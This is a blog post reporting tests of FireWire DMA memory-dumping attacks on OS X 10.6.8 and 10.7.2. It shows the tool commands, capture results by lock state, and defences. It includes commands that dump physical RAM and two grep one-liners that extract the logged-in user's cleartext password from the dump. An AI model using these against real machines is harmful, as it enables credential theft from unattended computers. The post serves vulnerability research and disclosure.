I recently spent some time testing Firewire memory access on OS X to determine the current state of vulnerability to DMA attacks. There is a lot of prior art (
Uwe Hermann has a good summary), and I was particularly interested in the claims of
deficiencies in the DMA defences provided by Lion (
Update: it looks like this was CVE-2011-3215
fixed in 10.7.2, which agrees with my findings).
To check for
firewire and
thunderbolt ports programmatically you can parse the output of system_profiler:
$ system_profiler SPFireWireDataType SPThunderboltDataType
FireWire:
FireWire Bus:
Maximum Speed: Up to 800 Mb/sec
...
Thunderbolt:
MacBook Pro:
Vendor Name: Apple, Inc.
Device Name: MacBook Pro
UID: 0x0001000A19999900
...
I used two MacBookPros, one running 10.6.8 and one running 10.7.2 fully patched as at 2011-12-29. Hardware specs:
$ system_profiler SPHardwareDataType
Model Name: MacBook Pro
Model Identifier: MacBookPro8,2
Processor Name: Intel Core i7
Processor Speed: 2 GHz
...
I used the
pyfw-20041111 module to do the DMA using dumpmem which reads 256MB from 0x10000000:
python demo_dumpmem.py
hexdump -C cfffffffffffffff-10000000-20000000.memdump
and I also tested using
ramdump.py and the
libforensic1394 libraries, with the same results.
python ./ramdump.py 1024 f
SBP-2 not used, forcing 2048 byte pages.
[<forensic1394.device.Device object at 0xfffffffff>]
Attempting to access device 0: Apple Computer, Inc. Macintosh
Wrote file ramdump.bin.
Target 10.7.2, attacked from 10.6.8.
When targeting the 10.7.2 machine I could only access memory when the screen was unlocked, in all other scenarios I just received zeros. Note I tested with and without FileVault2 enabled, and the results were the same.
| Status | DMA Capture Result |
| Logged in, not locked | Captured |
| Logged in, locked | 0s |
| Login, log out, at login screen | 0s |
| System booted, not logged in | 0s |
| Switch user from fast user switching menu | 0s |
The cleartext password for the logged in user can be trivially retrieved with:
strings memdump | grep --after-context=4 longname | grep --after-context=1 password
Target 10.6.8, attacked from 10.7.2.
10.6.8 is the complete opposite, capture is possible in all cases (note that there is a
NVRAM setting that can be used to defend against this attack without requiring a firmware password).
| Status | DMA Capture Result |
| Logged in, not locked | Captured |
| Logged in, locked | Captured |
| Login, log out, at login screen | Captured |
| System booted, not logged in | Captured |
| Switch user from fast user switching menu | Captured |
Get cleartext password with:
strings memdump | grep --after-context=3 managedUser | grep --after-context=1 password
Inception and libforensic1394
Update 2013-01-29: I get regular questions about this tool, so I'm going to update this post to record my answers.
Carsten's tool
inception, is talked about a lot. He has
wrapped the libforensic1394 libraries with some convenience functions to make sure the firewire modules are loaded, and detect when a new firewire device is connected. He's made it a little easier to run this attack, although I'm surprised he went to the trouble of wrapping the library but didn't write the couple of extra lines to do the grep for the password string.
Despite
the title of this video and its ominous soundtrack, inception does not attack via the thunderbolt interface directly (that
would be interesting). You need a thunderbolt to firewire converter to use the tool since it's just using libforensic1394, which uses the IOKit firewire library, to read from a firewire device. And as stated above, assuming you have filevault2 enabled, it only works with the one fairly lame remaining attack scenario (user logged in, screen unlocked, attacker with physical access to the machine). To his credit Carsten has
described a plausible attack, but if you're talking about physical access attacks I'd be more worried about
Snare's bootkit.
